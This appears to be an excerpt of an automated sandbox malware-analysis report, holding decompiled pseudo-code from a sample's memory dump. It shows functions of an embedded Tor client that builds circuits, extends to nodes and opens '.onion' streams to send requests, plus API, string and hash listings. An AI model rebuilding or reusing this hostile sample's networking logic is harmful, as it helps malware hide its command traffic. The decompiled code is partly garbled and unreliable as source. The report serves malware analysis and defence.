				if (_t135 == 0) goto 0x1d786825;
				if (_t135 == 0) goto 0x1d7867c1;
				if (r9d - 0xffffffffffffffff != 2) goto 0x1d786966;
				E00007FF67FF61D785FA0(r9d - 0xffffffffffffffff, _t132, _t162, _t208, _t219 + 0x70, _t213, __r9); // executed
				goto 0x1d786a76;
				r8d =  *(_t217 - 0x5e) & 0x0000ffff;
				if (r8w != 0) goto 0x1d7867eb;
				 *((long long*)(_t213 + 0x20)) =  *((long long*)(_t213 + 0x20)) + 0x64;
				E00007FF67FF61D781720(0, _t132, 0x1d79d010, "circuit_node::increment_package_window() [ _package_window = %u ]\n",  *((intOrPtr*)(_t213 + 0x20)));
				goto 0x1d786a76;
				E00007FF67FF61D78510C(__esi, _t162, _t208, _t217 - 0x30, _t208, _t213);
				_t237 =  *((intOrPtr*)(_t217 - 0x30));
				if (_t237 == 0) goto 0x1d78681c;
				 *((long long*)(_t237 + 0x20)) =  *((long long*)(_t237 + 0x20)) + 0x32;
				E00007FF67FF61D781720(0, _t132, 0x1d79d010, "tor_stream::increment_package_window() [ _package_window = %u ]\n",  *((intOrPtr*)(_t237 + 0x20)));
				_t209 =  *((intOrPtr*)(_t217 - 0x28));
				goto 0x1d7868e1;
				r8d =  *(_t217 - 0x5e) & 0x0000ffff;
				E00007FF67FF61D78510C(__esi, _t162, _t209, _t219 + 0x50, _t209, _t213);
				_t150 =  *((intOrPtr*)(_t219 + 0x50));
				if (_t150 == 0) goto 0x1d786849;
				 *((intOrPtr*)(_t150 + 0x48)) = 2;
				_t214 =  *((intOrPtr*)(_t219 + 0x58));
				_t140 = _t214;
				if (_t140 == 0) goto 0x1d786a19;
				asm("lock xadd [esi+0x8], eax");
				if (_t140 != 0) goto 0x1d786a19;
				 *((intOrPtr*)( *_t214))();
				asm("lock xadd [esi+0xc], eax");
				if (_t140 != 0) goto 0x1d786a19;
				 *((intOrPtr*)( *_t214 + 8))();
				goto 0x1d786a19;
				r8d =  *(_t217 - 0x5e) & 0x0000ffff;
				E00007FF67FF61D78510C(__esi, _t162, _t209, _t219 + 0x60, _t209, _t214);
				if ( *((intOrPtr*)(_t219 + 0x60)) == _t162) goto 0x1d7868dc;
				r9d =  *(_t217 - 0x5e) & 0x0000ffff;
				 *(_t219 + 0x20) =  *( *(_t217 - 0x50)) & 0x000000ff;
				E00007FF67FF61D781720(0, _t132, 0x1d79d010, "circuit::handle_relay_end_cell() [stream: %u, reason: %u]\n",  *((intOrPtr*)(_t237 + 0x20)));
				E00007FF67FF61D78B648(_t162,  *((intOrPtr*)(_t219 + 0x60)), _t219 + 0x60, _t209, _t214, 0x1d79d010);
				 *((intOrPtr*)(_t209 + 0xc)) = 6;
				_t210 =  *((intOrPtr*)(_t219 + 0x68));
				_t142 = _t210;
				if (_t142 == 0) goto 0x1d786a76;
				asm("lock xadd [edi+0x8], eax");
				if (_t142 != 0) goto 0x1d786a76;
				 *((intOrPtr*)( *_t210))();
				asm("lock xadd [edi+0xc], eax");
				if (_t142 != 0) goto 0x1d786a76;
				 *((intOrPtr*)( *_t210 + 8))();
				goto 0x1d786a76;
				E00007FF67FF61D786080( *( *(_t217 - 0x50)) & 0x000000ff, _t132, __esi, _t162, _t210, _t214, _t210, _t214, _t219 + 0x70, __r15);
				goto 0x1d786a76;
				E00007FF67FF61D781720(3, _t132, 0x1d79d010, "circuit::handle_relay_truncated_cell() destroying circuit\n",  *((intOrPtr*)(_t237 + 0x20)));
				goto 0x1d786a6d;
				if (_t142 == 0) goto 0x1d7869b0;
				if (_t142 == 0) goto 0x1d786997;
				if (_t142 == 0) goto 0x1d78698b;
				if (r9d - 0xfffffffffffffff7 == 1) goto 0x1d78697f;
				E00007FF67FF61D781720(2, _t132, 0x1d79d010, "tor_socket::recv_cell() !! unhandled relay cell [ relay_command: %u ]\n",  *((intOrPtr*)(_t237 + 0x20)));
				goto 0x1d786a76;
				 *((intOrPtr*)(_t210 + 0xc)) = 0xa;
				goto 0x1d786a76;
				 *((intOrPtr*)(_t210 + 0xc)) = 8;
				goto 0x1d786a76;
				E00007FF67FF61D785FA0(r9d - 0xfffffffffffffff7, _t132, _t162, _t210, _t219 + 0x70, _t214,  *((intOrPtr*)(_t237 + 0x20)));
				 *((intOrPtr*)(_t210 + 0xc)) = 0xc;
				goto 0x1d786a76;
				_t53 = _t210 + 0x30; // 0x30
				_t215 = _t53;
				if ( *_t215 != _t162) goto 0x1d7869d2;
				_t54 = _t162 + 2; // 0x2
				E00007FF67FF61D781720(_t54, _t132, 0x1d79d010, "circuit::handle_extended2_cell() extend node is null\n",  *((intOrPtr*)(_t237 + 0x20)));
				goto 0x1d786a76;
				_t156 =  *(_t217 - 0x50);
				 *((long long*)(_t219 + 0x50)) = _t156 + 2;
				 *((long long*)(_t219 + 0x58)) =  *((intOrPtr*)(_t217 - 0x48)) - _t156 + _t156;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [ebp-0x10], xmm0");
				E00007FF67FF61D788E0C(_t162,  *_t215, _t210);
				_t158 =  *_t215;
				if ( *((intOrPtr*)(_t158 + 0x10)) == _t162) goto 0x1d786a22;
				_t61 = _t210 + 0x38; // 0x38
				E00007FF67FF61D786DF0(_t162, _t61, _t215, _t215);
				 *((intOrPtr*)(_t210 + 0xc)) = 4;
				goto 0x1d786a76;
				_t159 =  *((intOrPtr*)(_t158 + 8));
				_t233 =  *((intOrPtr*)(_t159 + 0x40));
				asm("dec eax");
				 *((long long*)(_t219 + 0x50)) = _t233;
				 *((long long*)(_t219 + 0x58)) = ( *((intOrPtr*)(_t159 + 0x48)) - _t233 - 0x00000001 & _t159) + _t233;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [ebp], xmm0");
				E00007FF67FF61D781720(3, _t132, 0x1d79d010, "circuit::handle_extended2_cell() extend node [ %s ] has invalid crypto state\n", _t217);
				_t106 = E00007FF67FF61D785038(_t162, _t210,  ~( *((intOrPtr*)(_t159 + 0x48)) - _t233), _t215);
				free(??);
				free(??);
				return _t106;
			}

0x7ff61d7866c4
0x7ff61d7866c4
0x7ff61d7866c8
0x7ff61d7866cc
0x7ff61d7866d3
0x7ff61d7866db
0x7ff61d7866df
0x7ff61d7866e3
0x7ff61d7866e7
0x7ff61d7866eb
0x7ff61d7866ee
0x7ff61d7866f9
0x7ff61d786703
0x7ff61d786707
0x7ff61d78670c
0x7ff61d786712
0x7ff61d786717
0x7ff61d78671b
0x7ff61d78672d
0x7ff61d786731
0x7ff61d786734
0x7ff61d786739
0x7ff61d78673e
0x7ff61d786743
0x7ff61d786748
0x7ff61d78674d
0x7ff61d786751
0x7ff61d786769
0x7ff61d78676e
0x7ff61d786773
0x7ff61d786777
0x7ff61d78677d
0x7ff61d786789
0x7ff61d786792
0x7ff61d78679b
0x7ff61d7867a4
0x7ff61d7867a9
0x7ff61d7867b7
0x7ff61d7867bc
0x7ff61d7867c1
0x7ff61d7867ca
0x7ff61d7867cc
0x7ff61d7867e1
0x7ff61d7867e6
0x7ff61d7867f2
0x7ff61d7867f8
0x7ff61d7867ff
0x7ff61d786801
0x7ff61d786816
0x7ff61d78681c
0x7ff61d786820
0x7ff61d786825
0x7ff61d786832
0x7ff61d786838
0x7ff61d786840
0x7ff61d786842
0x7ff61d786849
0x7ff61d78684e
0x7ff61d786851
0x7ff61d78685c
0x7ff61d786863
0x7ff61d78686f
0x7ff61d786873
0x7ff61d78687a
0x7ff61d786886
0x7ff61d786889
0x7ff61d78688e
0x7ff61d78689b
0x7ff61d7868a8
0x7ff61d7868b1
0x7ff61d7868b6
0x7ff61d7868c6
0x7ff61d7868d0
0x7ff61d7868d5
0x7ff61d7868dc
0x7ff61d7868e1
0x7ff61d7868e4
0x7ff61d7868ef
0x7ff61d7868f6
0x7ff61d786902
0x7ff61d786906
0x7ff61d78690d
0x7ff61d786919
0x7ff61d78691c
0x7ff61d78692c
0x7ff61d786931
0x7ff61d786945
0x7ff61d78694a
0x7ff61d786955
0x7ff61d78695a
0x7ff61d78695f
0x7ff61d786964
0x7ff61d786975
0x7ff61d78697a
0x7ff61d78697f
0x7ff61d786986
0x7ff61d78698b
0x7ff61d786992
0x7ff61d78699f
0x7ff61d7869a4
0x7ff61d7869ab
0x7ff61d7869b0
0x7ff61d7869b0
0x7ff61d7869b9
0x7ff61d7869c2
0x7ff61d7869c8
0x7ff61d7869cd
0x7ff61d7869d6
0x7ff61d7869e4
0x7ff61d7869e9
0x7ff61d7869ee
0x7ff61d7869f3
0x7ff61d7869ff
0x7ff61d786a04
0x7ff61d786a0b
0x7ff61d786a0d
0x7ff61d786a14
0x7ff61d786a19
0x7ff61d786a20
0x7ff61d786a22
0x7ff61d786a26
0x7ff61d786a38
0x7ff61d786a41
0x7ff61d786a46
0x7ff61d786a4b
0x7ff61d786a50
0x7ff61d786a68
0x7ff61d786a70
0x7ff61d786a7a
0x7ff61d786a85
0x7ff61d786aa7

APIs

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

free.MSVCRT ref: 00007FF61D786A7A
free.MSVCRT ref: 00007FF61D786A85

Strings

(MSB set), xrefs: 00007FF61D78671F
tor_socket::recv_cell() !! unhandled relay cell [ relay_command: %u ], xrefs: 00007FF61D786966
circuit::handle_extended2_cell() extend node is null, xrefs: 00007FF61D7869BB
circuit::handle_extended2_cell() extend node [ %s ] has invalid crypto state, xrefs: 00007FF61D786A59
tor_stream::increment_package_window() [ _package_window = %u ], xrefs: 00007FF61D78680A
circuit::handle_relay_end_cell() [stream: %u, reason: %u], xrefs: 00007FF61D7868BA
tor_socket::recv_cell() [circuit: %i%s [%X], stream: %u, command: %u, relay_command: %u, payload_size: %u], xrefs: 00007FF61D786756
circuit_node::increment_package_window() [ _package_window = %u ], xrefs: 00007FF61D7867D5
circuit::handle_relay_truncated_cell() destroying circuit, xrefs: 00007FF61D786936

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CurrentLocalThreadTime_cwprintf_s_l
String ID: (MSB set)$circuit::handle_extended2_cell() extend node [ %s ] has invalid crypto state$circuit::handle_extended2_cell() extend node is null$circuit::handle_relay_end_cell() [stream: %u, reason: %u]$circuit::handle_relay_truncated_cell() destroying circuit$circuit_node::increment_package_window() [ _package_window = %u ]$tor_socket::recv_cell() !! unhandled relay cell [ relay_command: %u ]$tor_socket::recv_cell() [circuit: %i%s [%X], stream: %u, command: %u, relay_command: %u, payload_size: %u]$tor_stream::increment_package_window() [ _package_window = %u ]
API String ID: 2601393797-2081185039
Opcode ID: 7627d429b423c0d6d8644c792d8e805ab2f339d0319c98dd2606c4bcd4989069
Instruction ID: 4d0b0372948251baa3a24144180dddc7edd938c4824033e50611472d7d25b1e4
Opcode Fuzzy Hash: 7627d429b423c0d6d8644c792d8e805ab2f339d0319c98dd2606c4bcd4989069
Instruction Fuzzy Hash: 61B1F172A08E8296E7188F65E5405BD6761FB85FB4F408139DB8E97B98EF3CE409D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78E948 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 52%

			E00007FF67FF61D78E948(void* __ebp, long long __rbx, void* __rcx, long long __rdx, long long __rdi, long long __rsi, long long __r13) {
				void* __rbp;
				signed int _t223;
				void* _t224;
				void* _t229;
				void* _t241;
				void* _t244;
				void* _t248;
				intOrPtr _t251;
				signed int _t272;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				intOrPtr* _t283;
				intOrPtr* _t290;
				void* _t304;
				long long* _t305;
				signed long long _t308;
				void* _t315;
				signed long long _t330;
				intOrPtr* _t331;
				signed long long _t343;
				intOrPtr _t344;
				signed long long _t345;
				signed short _t347;
				long long _t430;
				long long _t431;
				intOrPtr* _t452;
				signed long long _t456;
				intOrPtr* _t457;
				intOrPtr _t458;
				long long _t459;
				void* _t462;
				intOrPtr _t463;
				void* _t465;
				void* _t466;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				signed long long _t481;
				signed long long _t486;
				long long _t511;
				void* _t514;
				void* _t515;
				long long _t516;
				long long _t519;
				intOrPtr _t520;
				long long _t523;
				signed short _t524;
				void* _t526;
				void* _t529;
				void* _t532;
				int _t535;
				long long _t536;

				_t304 = _t468;
				_t465 = _t304 - 0x5f;
				_t469 = _t468 - 0xb0;
				 *((long long*)(_t465 - 0x21)) = 0xfffffffe;
				 *((long long*)(_t304 + 8)) = __rbx;
				 *((long long*)(_t304 + 0x10)) = __rsi;
				 *((long long*)(_t304 + 0x18)) = __rdi;
				 *((long long*)(_t304 + 0x20)) = __r13;
				_t519 = __rdx;
				_t462 = __rcx;
				 *((intOrPtr*)(_t465 - 0x29)) = 0;
				_t272 =  *(__rdx + 0x5c) & 0x0000ffff;
				_t251 =  *((intOrPtr*)(__rdx + 0x58));
				if ( *((intOrPtr*)(__rcx + 0x38)) != __rbx) goto 0x1d78eae8;
				__imp__#12();
				E00007FF67FF61D781BA8(_t304, _t465 + 7);
				 *((intOrPtr*)(_t465 - 0x29)) = 1;
				_t305 =  *((intOrPtr*)(__rcx + 0x38));
				if (_t305 == 0) goto 0x1d78e9ce;
				goto 0x1d78e9d1;
				 *(_t469 + 0x30) = _t272;
				 *((long long*)(_t469 + 0x28)) =  *((intOrPtr*)(_t304 + 8));
				 *((long long*)(_t469 + 0x20)) =  *((intOrPtr*)(__rdx + 0x40));
				E00007FF67FF61D781720(1, _t272, 0x1d79d010, "Connecting to node #%u: \'%s\' (%s:%u)\n", __rbx + 1);
				 *((intOrPtr*)(_t465 - 0x29)) = 1;
				E00007FF67FF61D781BDC(0, _t465 + 7);
				E00007FF67FF61D78A20C(1, _t272, __rbx, _t462, _t519, _t462, "Connecting to node #%u: \'%s\' (%s:%u)\n", __rbx + 1); // executed
				if (E00007FF67FF61D78ABB0(_t462) == 0) goto 0x1d78ead7;
				E00007FF67FF61D78A54C(_t251, _t272, _t462, _t465 - 0x19, _t462); // executed
				 *(_t462 + 0x38) =  *_t305;
				 *_t305 =  *(_t462 + 0x38);
				 *(_t462 + 0x40) =  *((intOrPtr*)(_t305 + 8));
				 *((long long*)(_t305 + 8)) =  *(_t462 + 0x40);
				if ( *((intOrPtr*)(_t465 - 0x19)) == 0) goto 0x1d78ea66;
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t465 - 0x19)),  *(_t462 + 0x40));
				_t452 =  *((intOrPtr*)(_t465 - 0x11));
				_t283 = _t452;
				if (_t283 == 0) goto 0x1d78ea9a;
				asm("lock xadd [edi+0x8], eax");
				if (_t283 != 0) goto 0x1d78ea9a;
				 *((intOrPtr*)( *_t452))();
				asm("lock xadd [edi+0xc], eax");
				if (_t283 != 0) goto 0x1d78ea9a;
				 *((intOrPtr*)( *_t452 + 8))();
				_t308 =  *(_t462 + 0x38);
				if (_t308 == 0) goto 0x1d78eaaf;
				_t343 =  *((intOrPtr*)(_t308 + 0x48)) -  *((intOrPtr*)(_t308 + 0x40)) >> 3;
				if (_t343 != 1) goto 0x1d78eac6;
				goto 0x1d78ec1c;
				goto 0x1d78ec1c;
				goto 0x1d78ec19;
				__imp__#12();
				E00007FF67FF61D781BA8(_t308, _t465 + 0x27);
				 *((intOrPtr*)(_t465 - 0x29)) = 2;
				if ( *(_t462 + 0x38) == 0) goto 0x1d78eb27;
				goto 0x1d78eb2a;
				 *(_t469 + 0x30) = _t272;
				 *((long long*)(_t469 + 0x28)) =  *((intOrPtr*)(_t308 + 8));
				 *((long long*)(_t469 + 0x20)) =  *((intOrPtr*)(_t519 + 0x40));
				E00007FF67FF61D781720(1, _t272, 0x1d79d010, "Extending to node #%u: \'%s\' (%s:%u)\n", _t343 + 1);
				 *((intOrPtr*)(_t465 - 0x29)) = 2;
				E00007FF67FF61D781BDC(0, _t465 + 0x27);
				if ( *(_t462 + 0x38) == 0) goto 0x1d78eb81;
				goto 0x1d78eb84;
				_t456 = _t343;
				_t430 = _t519; // executed
				E00007FF67FF61D785284(_t251, _t272, _t343,  *(_t462 + 0x38), _t430); // executed
				if ( *(_t462 + 0x38) == 0) goto 0x1d78eba3;
				goto 0x1d78eba6;
				_t54 = _t456 + 1; // 0x1
				if (_t343 != _t54) goto 0x1d78ebbd;
				goto 0x1d78ec19;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x9], xmm0");
				 *((long long*)(_t465 - 9)) =  *(_t462 + 0x38);
				 *(_t462 + 0x38) = _t343;
				_t457 =  *(_t462 + 0x40);
				 *((long long*)(_t465 - 1)) = _t457;
				 *(_t462 + 0x40) = _t343;
				_t290 = _t457;
				if (_t290 == 0) goto 0x1d78ec0d;
				asm("lock xadd [edi+0x8], eax");
				if (_t290 != 0) goto 0x1d78ec0d;
				 *((intOrPtr*)( *_t457))();
				asm("lock xadd [edi+0xc], eax");
				if (_t290 != 0) goto 0x1d78ec0d;
				 *((intOrPtr*)( *_t457 + 8))();
				_t481 = "Error when extending!\n";
				_t514 = _t469 + 0xb0;
				_t344 =  *((intOrPtr*)(_t514 + 0x20));
				_t463 =  *((intOrPtr*)(_t514 + 0x28));
				_t458 =  *((intOrPtr*)(_t514 + 0x30));
				_t520 =  *((intOrPtr*)(_t514 + 0x38));
				_t470 = _t514;
				_t535 = _t532;
				_t529 = _t526;
				_pop(_t466);
				goto E00007FF67FF61D781720;
				asm("int3");
				asm("int3");
				asm("int3");
				_t315 = _t470;
				 *((long long*)(_t315 + 0x10)) = _t430;
				 *((long long*)(_t315 + 8)) = 0x1d79d010;
				_t467 = _t315 - 0x5f;
				_t471 = _t470 - 0xf8;
				 *((long long*)(_t467 - 9)) = 0xfffffffe;
				asm("movaps [eax-0x58], xmm6");
				_t345 = _t481;
				_t459 = _t430;
				 *(_t471 + 0x30) = 0;
				_t536 =  *((intOrPtr*)(_t481 + 0x48));
				asm("dec eax");
				_t523 = ( *((intOrPtr*)(_t481 + 0x50)) - _t536 - 0x00000001 &  ~( *((intOrPtr*)(_t481 + 0x50)) - _t536)) + _t536;
				 *((long long*)(_t467 - 0x29)) = _t536;
				 *((long long*)(_t467 - 0x21)) = _t523;
				_t516 =  *((intOrPtr*)(_t481 + 0x68));
				asm("dec eax");
				 *((long long*)(_t471 + 0x50)) = _t516;
				 *((long long*)(_t471 + 0x58)) = ( *((intOrPtr*)(_t481 + 0x70)) - _t516 - 0x00000001 &  ~( *((intOrPtr*)(_t481 + 0x70)) - _t516)) + _t516;
				_t431 =  *((intOrPtr*)(_t481 + 0x88));
				asm("dec eax");
				 *((long long*)(_t467 - 0x59)) = _t431;
				 *((long long*)(_t467 - 0x51)) = ( *((intOrPtr*)(_t481 + 0x90)) - _t431 - 0x00000001 &  ~( *((intOrPtr*)(_t481 + 0x90)) - _t431)) + _t431;
				_t223 =  *(_t481 + 0xa0) & 0x0000ffff;
				 *(_t467 + 0x77) = _t223;
				asm("dec ebp");
				if ((_t481 &  *((intOrPtr*)(_t481 + 0x30)) -  *((intOrPtr*)(_t481 + 0x28)) - 0x00000001) != 8) goto 0x1d78ed2e;
				0x1d79024d(_t463, _t344, _t466);
				if (_t223 != 0) goto 0x1d78ed2e;
				r14b = 1;
				goto 0x1d78ed31;
				r14b = 0;
				_t224 = E00007FF67FF61D781720(1, _t272, 0x1d79d010, "Accessing \'%s\'\n",  *((intOrPtr*)(_t345 + 8)));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x38], xmm0");
				 *(_t467 + 0x7f) = _t345;
				 *((long long*)(_t467 - 0x49)) = ".onion";
				 *((long long*)(_t467 - 0x41)) = 0x1d795506;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				r8d = 0;
				E00007FF67FF61D7817E4(_t224, _t223, 0x1d795506, _t345, _t467 - 0x29, _t467 - 0x49, _t463, _t467, "Accessing \'%s\'\n");
				asm("movaps xmm6, [esp+0x50]");
				if (0x1d795506 != _t523 - _t536 - 6) goto 0x1d78ee6a;
				_t524 = _t523 - _t536;
				_t329 =  <  ? _t524 : _t524 - 6;
				E00007FF67FF61D781BA8( <  ? _t524 : _t524 - 6, _t467 - 0x49);
				_t101 = _t345 + 2; // 0x2
				_t274 = _t101;
				 *(_t471 + 0x30) = _t274;
				_t486 = "Creating onion stream...\n";
				_t103 = _t345 + 1; // 0x1
				E00007FF67FF61D781720(_t103, _t272, 0x1d79d010, _t486,  *((intOrPtr*)(_t345 + 8)));
				_t511 =  *((intOrPtr*)(_t467 - 0x41));
				_t330 =  *((intOrPtr*)(_t467 - 0x39)) - _t511 - 1;
				asm("dec ebp");
				 *((long long*)(_t471 + 0x50)) = _t511;
				 *((long long*)(_t471 + 0x58)) = (_t486 & _t330) + _t511;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [esp+0x50], xmm0");
				r9d =  *(_t467 + 0x77) & 0x0000ffff;
				E00007FF67FF61D784C58(0, _t251, _t103, _t272, _t274, __ebp, _t524 - _t524 - 6, _t345,  *((intOrPtr*)( *((intOrPtr*)(_t467 + 0x67)) + 0x38)), _t467 - 0x29, _t463, _t471 + 0x50); // executed
				 *((long long*)(_t471 + 0x38)) =  *_t330;
				 *_t330 =  *((intOrPtr*)(_t471 + 0x38));
				 *((long long*)(_t471 + 0x40)) =  *((intOrPtr*)(_t330 + 8));
				 *((long long*)(_t330 + 8)) =  *((intOrPtr*)(_t471 + 0x40));
				_t229 = E00007FF67FF61D786AF4(_t467 - 0x29);
				_t275 = _t274 & 0xfffffffd;
				 *(_t471 + 0x30) = _t275;
				E00007FF67FF61D781BDC(_t229, _t467 - 0x49);
				goto 0x1d78eecf;
				E00007FF67FF61D781720(1, _t272, 0x1d79d010, "Creating stream...\n", _t511);
				asm("movdqa [esp+0x50], xmm6");
				r9d =  *(_t467 + 0x77) & 0x0000ffff;
				E00007FF67FF61D7849E8(_t272, _t275, _t524 - _t524 - 6, _t345,  *((intOrPtr*)( *((intOrPtr*)(_t467 + 0x67)) + 0x38)), _t467 - 0x29, _t463, _t471 + 0x50, _t511);
				 *((long long*)(_t471 + 0x38)) =  *_t330;
				 *_t330 =  *((intOrPtr*)(_t471 + 0x38));
				 *((long long*)(_t471 + 0x40)) =  *((intOrPtr*)(_t330 + 8));
				 *((long long*)(_t330 + 8)) =  *((intOrPtr*)(_t471 + 0x40));
				E00007FF67FF61D786AF4(_t467 - 0x29);
				r13d = 0;
				if ( *((intOrPtr*)(_t471 + 0x38)) == _t524) goto 0x1d78f0ce;
				_t136 = _t524 + 1; // 0x1
				E00007FF67FF61D781720(_t136, _t272, 0x1d79d010, "Created...\n", _t511);
				_t138 = _t524 + 1; // 0x1
				E00007FF67FF61D781720(_t138, _t272, 0x1d79d010, "Sending request...\n", _t511);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x71], xmm0");
				 *(_t467 - 0x61) = _t524;
				if (r14b == 0) goto 0x1d78efee;
				malloc(_t535);
				 *(_t467 + 0x77) = _t330;
				if (_t330 == 0) goto 0x1d78ef56;
				asm("movdqa [esp+0x50], xmm6");
				E00007FF67FF61D783BB4(_t330,  *((intOrPtr*)(_t471 + 0x38)), _t471 + 0x50);
				goto 0x1d78ef59;
				_t347 = _t524;
				 *(_t467 + 0x77) = _t347;
				 *(_t467 + 0x7f) = _t347;
				 *(_t467 + 0x77) = _t524;
				 *(_t467 + 0x77) = _t524;
				_t147 = _t347 + 0x10; // 0x10
				if (E00007FF67FF61D783428(0, _t347, _t147,  *((intOrPtr*)(_t471 + 0x38)), _t459, _t463, _t529, _t520, _t515) != 0x90312) goto 0x1d78ef94;
				if (E00007FF67FF61D783664(_t347, _t147) < 0) goto 0x1d78ef96;
				if (E00007FF67FF61D78356C(1, _t347, _t147, _t463, _t471 + 0x50, _t458) == 0) goto 0x1d78efeb;
				_t241 = E00007FF67FF61D781720(3, _t272, 0x1d79d010, "Error while establishing TLS with \'%s\'\n", _t516);
				 *(_t459 + 8) = _t524;
				 *(_t459 + 0x10) = _t524;
				 *(_t459 + 0x18) = _t524;
				_t276 = _t275 | 0x00000001;
				 *(_t471 + 0x30) = _t276;
				E00007FF67FF61D781BDC(_t241, _t467 - 0x79);
				if (_t347 == 0) goto 0x1d78f0f2;
				_t331 =  *_t347;
				 *_t331();
				goto 0x1d78f0f2;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movdqa [esp+0x50], xmm6");
				 *(_t471 + 0x20) = _t347;
				_t244 = E00007FF67FF61D7837A4(1, _t347, _t331, _t347, _t467 - 0x29, _t471 + 0x50, _t463, _t467 - 0x59);
				 *((long long*)(_t467 - 0x71)) =  *((intOrPtr*)(_t331 + 8));
				 *((long long*)(_t331 + 8)) =  *((intOrPtr*)(_t467 - 0x71));
				 *((long long*)(_t467 - 0x69)) =  *((intOrPtr*)(_t331 + 0x10));
				 *((long long*)(_t331 + 0x10)) =  *((intOrPtr*)(_t467 - 0x69));
				 *(_t467 - 0x61) =  *((intOrPtr*)(_t331 + 0x18));
				 *((long long*)(_t331 + 0x18)) =  *(_t467 - 0x61);
				E00007FF67FF61D781BDC(_t244, _t467 - 0x29);
				asm("dec eax");
				if (( *((intOrPtr*)(_t467 - 0x69)) -  *((intOrPtr*)(_t467 - 0x71)) - 0x00000001 &  ~( *((intOrPtr*)(_t467 - 0x69)) -  *((intOrPtr*)(_t467 - 0x71)))) == 0) goto 0x1d78f07c;
				goto 0x1d78f088;
				E00007FF67FF61D781720(2, _t272, 0x1d79d010, "Received empty response!\n", _t467 - 0x59);
				 *(_t459 + 8) = _t524;
				 *(_t459 + 0x10) = _t524;
				 *(_t459 + 0x18) = _t524;
				 *(_t459 + 8) =  *((intOrPtr*)(_t467 - 0x71));
				 *((long long*)(_t467 - 0x71)) =  *(_t459 + 8);
				 *(_t459 + 0x10) =  *((intOrPtr*)(_t467 - 0x69));
				 *((long long*)(_t467 - 0x69)) =  *(_t459 + 0x10);
				 *(_t459 + 0x18) =  *(_t467 - 0x61);
				 *(_t467 - 0x61) =  *(_t459 + 0x18);
				goto 0x1d78efbf;
				E00007FF67FF61D781720(3, _t272,  *(_t459 + 0x18), "Error while creating the onion stream\n", _t467 - 0x59);
				 *(_t459 + 8) = _t524;
				 *(_t459 + 0x10) = _t524;
				 *(_t459 + 0x18) = _t524;
				 *(_t471 + 0x30) = _t276 | 0x00000001;
				 *(_t467 + 0x7f) = _t524;
				_t248 = E00007FF67FF61D786AF4(_t471 + 0x38);
				asm("movaps xmm6, [esp+0xe0]");
				return _t248;
			}

0x7ff61d78e948
0x7ff61d78e950
0x7ff61d78e954
0x7ff61d78e95b
0x7ff61d78e963
0x7ff61d78e967
0x7ff61d78e96b
0x7ff61d78e96f
0x7ff61d78e973
0x7ff61d78e976
0x7ff61d78e97b
0x7ff61d78e97e
0x7ff61d78e986
0x7ff61d78e989
0x7ff61d78e98f
0x7ff61d78e9a3
0x7ff61d78e9a8
0x7ff61d78e9b7
0x7ff61d78e9be
0x7ff61d78e9cc
0x7ff61d78e9d4
0x7ff61d78e9d8
0x7ff61d78e9dd
0x7ff61d78e9f8
0x7ff61d78ea05
0x7ff61d78ea0c
0x7ff61d78ea17
0x7ff61d78ea26
0x7ff61d78ea33
0x7ff61d78ea40
0x7ff61d78ea44
0x7ff61d78ea4f
0x7ff61d78ea53
0x7ff61d78ea5e
0x7ff61d78ea60
0x7ff61d78ea66
0x7ff61d78ea6a
0x7ff61d78ea6d
0x7ff61d78ea72
0x7ff61d78ea7a
0x7ff61d78ea82
0x7ff61d78ea87
0x7ff61d78ea8f
0x7ff61d78ea97
0x7ff61d78ea9a
0x7ff61d78eaa1
0x7ff61d78eaab
0x7ff61d78eab6
0x7ff61d78eac1
0x7ff61d78ead2
0x7ff61d78eae3
0x7ff61d78eae8
0x7ff61d78eafc
0x7ff61d78eb01
0x7ff61d78eb17
0x7ff61d78eb25
0x7ff61d78eb2d
0x7ff61d78eb31
0x7ff61d78eb36
0x7ff61d78eb51
0x7ff61d78eb5e
0x7ff61d78eb65
0x7ff61d78eb71
0x7ff61d78eb7f
0x7ff61d78eb81
0x7ff61d78eb84
0x7ff61d78eb87
0x7ff61d78eb93
0x7ff61d78eba1
0x7ff61d78eba6
0x7ff61d78ebad
0x7ff61d78ebbb
0x7ff61d78ebbd
0x7ff61d78ebc0
0x7ff61d78ebc9
0x7ff61d78ebcd
0x7ff61d78ebd1
0x7ff61d78ebd5
0x7ff61d78ebd9
0x7ff61d78ebdd
0x7ff61d78ebe0
0x7ff61d78ebe5
0x7ff61d78ebed
0x7ff61d78ebf5
0x7ff61d78ebfa
0x7ff61d78ec02
0x7ff61d78ec0a
0x7ff61d78ec0d
0x7ff61d78ec1c
0x7ff61d78ec24
0x7ff61d78ec28
0x7ff61d78ec2c
0x7ff61d78ec30
0x7ff61d78ec34
